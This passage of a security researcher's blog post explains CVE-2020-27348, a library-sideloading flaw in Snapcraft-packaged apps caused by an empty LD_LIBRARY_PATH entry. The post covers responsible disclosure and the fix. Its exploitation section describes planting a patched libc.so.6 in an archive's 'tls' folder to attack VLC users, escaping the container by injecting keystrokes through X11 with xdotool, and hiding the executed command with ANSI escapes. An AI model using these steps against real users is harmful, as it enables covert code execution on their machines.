[pid 50669] openat(AT_FDCWD, &quot;tls/x86_64/x86_64/libc.so.6&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 50669] openat(AT_FDCWD, &quot;tls/x86_64/libc.so.6&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 50669] openat(AT_FDCWD, &quot;tls/x86_64/libc.so.6&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 50669] openat(AT_FDCWD, &quot;tls/libc.so.6&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 50669] openat(AT_FDCWD, &quot;x86_64/x86_64/libc.so.6&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 50669] openat(AT_FDCWD, &quot;x86_64/libc.so.6&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
[pid 50669] openat(AT_FDCWD, &quot;x86_64/libc.so.6&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
&lt;span style=&quot;color:#53BE63&quot;&gt;[pid 50669] openat(AT_FDCWD, &quot;libc.so.6&quot;, O_RDONLY|O_CLOEXEC) = 3&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The resulting output shows &lt;code class=&quot;highlighter-rouge&quot;&gt;docker&lt;/code&gt; itself searching through various paths for &lt;code class=&quot;highlighter-rouge&quot;&gt;libc.so.6&lt;/code&gt;. The last set of paths are relative, which confirms that it is indeed loading &lt;code class=&quot;highlighter-rouge&quot;&gt;libc.so.6&lt;/code&gt; from the current directory. This is similar to classic DLL sideloading issues on Windows. Now the question is: why is this happening?&lt;/p&gt;

&lt;p&gt;We can see that the program is also looking in &lt;code class=&quot;highlighter-rouge&quot;&gt;/snap/docker/796&lt;/code&gt;, which gives us a clue: this is not the ordinary docker binary we are running! We are actually launching an app packaged with &lt;a href=&quot;https://snapcraft.io/&quot;&gt;Snapcraft&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;snapcraft-background&quot;&gt;Snapcraft Background&lt;/h2&gt;

&lt;p&gt;Snapcraft is a new package manager managed by Canonical, which is &lt;a href=&quot;https://ubuntu.com/blog/snaps-for-classic-ubuntu&quot;&gt;installed in Ubuntu distributions by default&lt;/a&gt;. It allows users to easily download and run containerized applications. This takes care of dependencies while providing “extra security” under the banner of “containerization”.&lt;/p&gt;

&lt;p&gt;Canonical has been pushing Snapcraft for a while, even suggesting it as the first recommendation when running an unknown command on recent versions of Ubuntu:&lt;/p&gt;

&lt;div class=&quot;language-escape highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;itszn@ubuntu:~$ docker

Command 'docker' not found, but can be installed with:

&lt;span style=&quot;color:#74ABCA&quot;&gt;sudo snap install docker     # version 19.03.11, or&lt;/span&gt;
sudo apt  install docker.io  # version 20.10.2-0ubuntu1~20.04.3

See 'snap info docker' for additional versions.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;One real benefit of Snapcraft packages (i.e. &lt;em&gt;snaps&lt;/em&gt;) is that they can auto update separately from the rest of the system, allowing users to get security patches for high risk applications quicker.&lt;/p&gt;

&lt;p&gt;With Ubuntu 20, Canonical has started forcing users onto Snap by making certain apt packages install their Snap counterparts instead. For example &lt;code class=&quot;highlighter-rouge&quot;&gt;apt-get install chromium-browser&lt;/code&gt; will actually install the chromium snap.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/snapcraft_chromium.png&quot; data-lightbox=&quot;snapcraft_chromium.png&quot; data-title=&quot;Chromium's apt package now installs the snapcraft package instead&quot;&gt;
    
      &lt;img src=&quot;/assets/img/snapcraft_chromium.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Chromium's apt package now installs the snapcraft package instead&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;Despite being containerized, most applications include the &lt;a href=&quot;https://snapcraft.io/docs/home-interface&quot;&gt;home plug interface&lt;/a&gt;. The home plug is a configuration option which mounts your entire home directory into the container. The &lt;code class=&quot;highlighter-rouge&quot;&gt;libc.so.6&lt;/code&gt; we downloaded was located in a subdirectory of the user’s home, which is why the container was able to access it.&lt;/p&gt;

&lt;h2 id=&quot;root-cause-analysis&quot;&gt;Root Cause Analysis&lt;/h2&gt;

&lt;p&gt;Since Snapcraft packages require a wrapper to launch the container around the application, it was likely that a bad &lt;code class=&quot;highlighter-rouge&quot;&gt;LD_LIBRARY_PATH&lt;/code&gt; was being introduced into the application’s environment variables. This variable controls where the executable loader will look when trying to load shared libraries.&lt;/p&gt;

&lt;p&gt;We can trace this variable by using strace to print the environment of any execve syscalls:&lt;/p&gt;

&lt;div class=&quot;language-escape wrap-block-force highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ &lt;span style=&quot;color:#858585&quot;&gt;sudo strace -f -v -e execve -s 1000 sudo -u $(whoami) docker 2&amp;gt;&amp;amp;1 | egrep 'LD_LIBRARY_PATH=[^&quot;]+&quot;' -o | head -n 1&lt;/span&gt;
LD_LIBRARY_PATH=/var/lib/snapd/lib/gl:/var/lib/snapd/lib/gl32:/var/lib/snapd/void:/snap/docker/796/lib:/snap/docker/796/lib/python3.6/site-packages/cffi.libs:/snap/docker/796/lib/x86_64-linux-gnu&lt;span style=&quot;color:#7DF9EA;font-weight:700&quot;&gt;::&lt;/span&gt;/snap/docker/796/usr/lib/x86_64-linux-gnu:/snap/docker/796/lib:/snap/docker/796/usr/lib:/snap/docker/796/lib/x86_64-linux-gnu:/snap/docker/796/usr/lib/x86_64-linux-gnu&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Can you see it? There is an extra colon in the middle of the path!&lt;/p&gt;

&lt;p&gt;       …/lib/x86_64-linux-gnu&lt;span style=&quot;color:red; font-weight: 700&quot;&gt;::&lt;/span&gt;/snap/docker/796/usr/lib/…&lt;/p&gt;

&lt;p&gt;This may not seem like a big deal, but due to the way that &lt;a href=&quot;https://code.woboq.org/userspace/glibc/elf/dl-load.c.html#796&quot;&gt;ld parses&lt;/a&gt; &lt;code class=&quot;highlighter-rouge&quot;&gt;LD_LIBRARY_PATH&lt;/code&gt;, the &lt;code class=&quot;highlighter-rouge&quot;&gt;::&lt;/code&gt; counts as the current directory.&lt;/p&gt;

&lt;p&gt;The script setting this environment variable is &lt;code class=&quot;highlighter-rouge&quot;&gt;/snap/docker/796/snap/command-chain/snapcraft-runner&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;export LD_LIBRARY_PATH=&quot;$LD_LIBRARY_PATH:$SNAP/lib:$SNAP/usr/lib:$SNAP/lib/x86_64-linux-gnu:$SNAP/usr/lib/x86_64-linux-gnu&quot;
export LD_LIBRARY_PATH=&quot;$SNAP/lib:$SNAP/lib/python3.6/site-packages/cffi.libs:$SNAP/lib/x86_64-linux-gnu:$SNAP/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;If an &lt;code class=&quot;highlighter-rouge&quot;&gt;LD_LIBRARY_PATH&lt;/code&gt; is empty, these two lines will combine to create the &lt;code class=&quot;highlighter-rouge&quot;&gt;::&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This file is generated by &lt;a href=&quot;https://github.com/snapcore/snapcraft/blob/6c59e9f55ec940f47c2e030f2a44a405af1e219e/snapcraft/internal/project_loader/_config.py#L354&quot;&gt;Snapcraft’s package builder&lt;/a&gt;, implying that this may be an issue for any Snap application that can access the current directory.&lt;/p&gt;

&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h2&gt;

&lt;p&gt;As an example, we will demonstrate how this issue could have been abused to achieve code execution through VLC, one of the most downloaded Snap applications.&lt;/p&gt;

&lt;p&gt;The basis of this attack might come in the form of a victim downloading a tar archive containing a popular movie &lt;code class=&quot;highlighter-rouge&quot;&gt;.mp4&lt;/code&gt; and a malicious &lt;code class=&quot;highlighter-rouge&quot;&gt;libc.so.6&lt;/code&gt;. If a user runs &lt;code class=&quot;highlighter-rouge&quot;&gt;vlc ./popular_movie.mp4&lt;/code&gt; in the extracted directory, the Snap-managed VLC will load and execute the malicious library.&lt;/p&gt;

&lt;p&gt;To make the attack seem less fishy, we can actually hide the library in one of the search sub-directories we saw earlier in the &lt;code class=&quot;highlighter-rouge&quot;&gt;strace&lt;/code&gt; output, such as &lt;code class=&quot;highlighter-rouge&quot;&gt;tls\&lt;/code&gt;. To an unsuspecting victim, maybe tls stands for “TransLation Subtitles”!?&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/snapcraft_binja.mp4&quot; target=&quot;_blank&quot; data-title=&quot;Patching `libc.so.6` using Binary Ninja&quot;&gt;
    
      &lt;video style=&quot;width: 100%&quot; controls=&quot;&quot; playsinline=&quot;&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;&quot;&gt;
        &lt;source src=&quot;/assets/img/snapcraft_binja.mp4&quot; alt=&quot;&quot; /&gt;
      &lt;/video&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Patching `libc.so.6` using Binary Ninja&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;Since VLC is expecting &lt;code class=&quot;highlighter-rouge&quot;&gt;libc.so.6&lt;/code&gt; to have specific library exports, it’s easiest to just make a copy of Snap’s normal &lt;code class=&quot;highlighter-rouge&quot;&gt;libc.so.6&lt;/code&gt; and patch it with our malicious code prior to distributing it. By utilizing &lt;a href=&quot;https://binary.ninja/&quot;&gt;Binary Ninja&lt;/a&gt; and its &lt;a href=&quot;https://scc.binary.ninja/index.html&quot;&gt;ShellCode Compiler&lt;/a&gt; we can just modify the &lt;code class=&quot;highlighter-rouge&quot;&gt;malloc()&lt;/code&gt; function to run our payload.&lt;/p&gt;

&lt;p&gt;If we can entice a user to run a vulnerable Snap application in this directory it will load and run our malicious library.&lt;/p&gt;

&lt;h2 id=&quot;escaping-snap-containers-sometimes&quot;&gt;Escaping Snap Containers (Sometimes)&lt;/h2&gt;

&lt;p&gt;We now have access to the user’s home directory, but we are still sandboxed by the Snap application container. Luckily there is often a way to influence the rest of the system from this pseudo-sandbox.&lt;/p&gt;

&lt;p&gt;Many of the popular Snap applications are GUI applications. For these to work, the container must have access to the xserver, so these snaps have the &lt;code class=&quot;highlighter-rouge&quot;&gt;x11&lt;/code&gt; plug. This exposes the &lt;code class=&quot;highlighter-rouge&quot;&gt;/tmp/.X11-unix/X0&lt;/code&gt; socket to the container, which gives us a lot of power.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/snapcraft_x11_plug.png&quot; data-lightbox=&quot;snapcraft_x11_plug.png&quot; data-title=&quot;Compromised Snap application interacting with X11&quot;&gt;
    
      &lt;img src=&quot;/assets/img/snapcraft_x11_plug.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Compromised Snap application interacting with X11&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/X_Window_System&quot;&gt;X11&lt;/a&gt; is the linux service responsible for rendering windows and applications.
An application communicates to it over a &lt;a href=&quot;https://en.wikipedia.org/wiki/Unix_domain_socket&quot;&gt;unix domain socket&lt;/a&gt;. Having access to this socket from inside the container means we can send the same commands other windows can. With this capability, an attacker could simulate any keyboard or mouse input to the system.&lt;/p&gt;

&lt;p&gt;Since we are already acting on the commandline, the easiest thing to do is send keyboard strokes to the terminal. We can use &lt;a href=&quot;https://manpages.ubuntu.com/manpages/trusty/man1/xdotool.1.html&quot;&gt;xdotool&lt;/a&gt; to easily interface with this socket, typing and executing a payload into the terminal.&lt;/p&gt;

&lt;div class=&quot;language-bash wrap-block highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;env &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DISPLAY&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;:0 &lt;span class=&quot;nv&quot;&gt;LD_LIBRARY_PATH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;/tls/x11 &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;/tls/xdotool.static key space s h space t l s slash p Return
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here we have it run &lt;code class=&quot;highlighter-rouge&quot;&gt;sh tls/p&lt;/code&gt;, a script file from our archive. For fun, we can make this script cover its tracks using &lt;a href=&quot;https://en.wikipedia.org/wiki/ANSI_escape_code&quot;&gt;ANSI escape codes&lt;/a&gt;. Specifically, &lt;code class=&quot;highlighter-rouge&quot;&gt;\033[2F&lt;/code&gt; is an ANSI code to move the cursor up a line and &lt;code class=&quot;highlighter-rouge&quot;&gt;\033[0J&lt;/code&gt; will clear the rest of the screen after the cursor.&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\0&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;33[2F&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\0&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;33[0J&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# Hide the command being run&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# TODO something evil here?&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Putting all of these ideas together, the following demo illustrates what the attack looks like in practice. Note how our malicious library is tucked away in a subdirectory extracted from the archive, so the attack can be more subtle than one might normally think of sideloading issues:&lt;/p&gt;

&lt;noscript&gt;
&lt;a href=&quot;https://asciinema.org/a/BPHdyM6hxcqK0smZc4sq2MxOc&quot; target=&quot;_blank&quot;&gt;
  &lt;img style=&quot;width: 100%&quot; src=&quot;https://asciinema.org/a/BPHdyM6hxcqK0smZc4sq2MxOc.svg&quot; /&gt;&lt;/a&gt;
&lt;/noscript&gt;
&lt;script type=&quot;text/plaintext&quot; id=&quot;asciicast-BPHdyM6hxcqK0smZc4sq2MxOc&quot; src=&quot;https://asciinema.org/a/BPHdyM6hxcqK0smZc4sq2MxOc.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;h2 id=&quot;fix&quot;&gt;Fix&lt;/h2&gt;

&lt;p&gt;We &lt;a href=&quot;https://bugs.launchpad.net/snapcraft/+bug/1901572&quot;&gt;reported the issue&lt;/a&gt; in the Snapcraft bug tracker on 10/26/2020.
Canonical &lt;a href=&quot;https://github.com/snapcore/snapcraft/commit/a0ceca9d531a34c979251030ed67b5fa2abfdd9a&quot;&gt;fixed&lt;/a&gt; this issue on 12/03/2020. The fix changes the &lt;code class=&quot;highlighter-rouge&quot;&gt;LD_LIBRARY_PATH&lt;/code&gt; to exclude empty variables. It was assigned CVE-2020-27348.&lt;/p&gt;

&lt;p&gt;However, snaps need to be “refreshed” for the affected packages to be fixed as this is an issue with the wrappers generated by the Snap build system. For that reason, the process took several months for problematic packages to get replaced with newer ones… yet there may be un-updated and vulnerable snap packages still out there.&lt;/p&gt;

&lt;p&gt;The issue was also acknowledged by &lt;a href=&quot;https://www.hackerone.com/internet-bug-bounty&quot;&gt;HackerOne’s Internet Bug Bounty&lt;/a&gt; and awarded $750.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Incorrect manipulation and population of environment variables left Snapcraft installed applications vulnerable to malicious library sideloading-style attacks. Any application setting &lt;code class=&quot;highlighter-rouge&quot;&gt;LD_LIBRARY_PATH&lt;/code&gt; should be diligent in ensuring it does introduce sideloading of libraries from unintended (i.e. relative) directories.&lt;/p&gt;

&lt;p&gt;We also saw how exposing X11 to a container completely compromises any security guarantees made by the container. Between the vulnerability and the ubiquity of insecure plugs, there seems to be minimal security benefits to Snap applications beside automatic updates.&lt;/p&gt;</content><author><name>Amy Burnett</name></author><summary type="html">Several months ago I found an issue (now CVE-2020-27348) with Ubuntu’s new package management system, Snapcraft. This bug introduced a classic pattern of insecurity to these ‘Snap’ managed applications which is analogous to DLL sideloading issues on Windows (a form of dynamic library injection). In this post, I’ll discuss how this issue was discovered while playing in a CTF and how it can be leveraged to get code execution via these packages. Some of the affected packages included Chromium, VLC, Docker, Audacity, and many others available through the new package manager. Exploiting the VLC Snapcraft Package</summary></entry></feed>